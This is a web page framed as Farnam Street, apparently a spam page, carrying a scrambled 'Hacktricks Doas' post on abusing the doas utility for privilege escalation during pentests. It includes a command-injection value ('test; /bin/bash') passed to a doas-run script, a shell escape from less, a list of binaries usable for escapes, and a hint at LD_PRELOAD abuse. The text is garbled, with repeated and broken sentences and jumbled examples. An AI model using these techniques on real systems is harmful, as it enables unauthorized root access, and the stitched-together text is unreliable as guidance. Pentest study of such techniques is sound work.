• Skip to main content
  • Skip to header right navigation
  • Skip to site footer

Farnam Street

Mastering the best of what other people have already figured out

  • Home
  • General
  • Guides
  • Reviews
  • News

Hacktricks Doas 📥

In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf

#!/bin/sh doas /usr/bin/chown user "$1" Exploit:

Keep hacking. Keep escalating.

cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples:

permit keepenv user1 as root Compile a malicious lib: hacktricks doas

./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes.

Unlike sudo , there’s no PAM, no plugin system, no logging madness — just permission rules. which doas command -v doas doas -V If installed, check the config: In this post, we’ll break down how doas

permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.

Discover What You’re Missing

Get the weekly email full of actionable ideas and insights you can use at work and home.


As seen on:

New York Times logo
Wall Street Journal logo
hacktricks doas
hacktricks doas

Articles

  • Mental Models
  • Decision Making
  • Learning
  • Book Recommendations
  • All Articles

Podcast

  • Latest Episodes
  • Organized by Theme
  • ChatBot

Books

  • Clear Thinking
  • The Great Mental Models
  • All Books

Newsletter

  • Archive
  • Sign Up

About

  • About Shane
  • Speaking
  • Inquire about Sponsorship

Farnam Street Logo

© 2026 Farnam Street Media Inc. All Rights Reserved.
Proudly powered by WordPress. Hosted by Pressable. See our Privacy Policy.

We’re Syrus Partners.
We buy amazing businesses.


Farnam Street participates in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising commissions by linking to Amazon.

© 2026 Nova Tower